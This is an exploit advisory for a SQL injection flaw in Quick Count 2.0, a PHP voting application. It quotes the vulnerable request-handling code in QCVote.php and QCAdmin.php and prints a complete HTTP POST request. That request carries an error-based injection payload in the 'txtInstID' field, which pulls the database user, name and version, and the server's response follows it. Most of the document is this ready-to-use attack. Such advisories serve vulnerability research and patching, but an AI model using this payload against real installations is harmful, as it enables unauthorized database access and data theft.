Quick Count 2.0 - 'txtInstID' SQL Injection

# Exploit Title: Quick Count 2.0 - 'txtInstID' SQL Injection
# Dork: N/A
# Date: 2018-10-25
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://quickcount.sourceforge.io/
# Software Link: https://sourceforge.net/projects/quickcount/files/latest/download
# Version: 2.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/QCVote.php
# 
# [PATH]/QCVote.php
# ....
# 90  $_SESSION['glbInstID'] = "";
# 91  if ($_SERVER["REQUEST_METHOD"] == "POST") {
# 92  // collect value of input field
# 93  if (isset($_REQUEST['txtInstID'])) {
# 94  $name = $_REQUEST['txtInstID'];           
# 95  }
# 96  if (isset($_REQUEST['btnA'])) {
# 97  $btnAVal = $_REQUEST['btnA'];
# 98  }
# 99  if (isset($_REQUEST['btnB'])) {
# 100               $btnBVal = $_REQUEST['btnB'];
# 101               }
# 102 if (isset($_REQUEST['btnC'])) {
# 103 $btnCVal = $_REQUEST['btnC'];
# 104 }
# 105 if (isset($_REQUEST['btnD'])) {
# 106 $btnDVal = $_REQUEST['btnD'];
# 107 }
# 108 if (isset($_REQUEST['btnE'])) {
# 109 $btnEVal = $_REQUEST['btnE'];
# 110 }
# ....
# 

POST /[PATH]/QCVote.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 268
txtInstID=12'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'
HTTP/1.1 200 OK
Date: Thu, 25 Oct 2018 16:35:16 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PHPSESSID=q360l936bjohek90ekaj85b0r4; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 5976
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/QCAdmin.php
# 
# [PATH]/QCAdmin.php

Post/txtLogID=&txtLogPW=&txtSC=&txtExpDt=&txtSchName=&txtDept=&btnLogin=Login&txtInstClr=&txtLoginout=LoggedOUT

# ....
#201 if ($_SERVER["REQUEST_METHOD"] == "POST") {
#202 // collect value of input field
#203 if (isset($_REQUEST['txtLogID'])) {
#204 $txtLogIDVal = $_REQUEST['txtLogID'];
#205 $_SESSION['glbLogID']=$txtLogIDVal;           
#206 }
#207 if (isset($_REQUEST['txtLogPW'])) {
#208 $txtLogPWVal = $_REQUEST['txtLogPW'];
#209 $_SESSION['glbLogPW'] = $txtLogPWVal;
# ....Etc....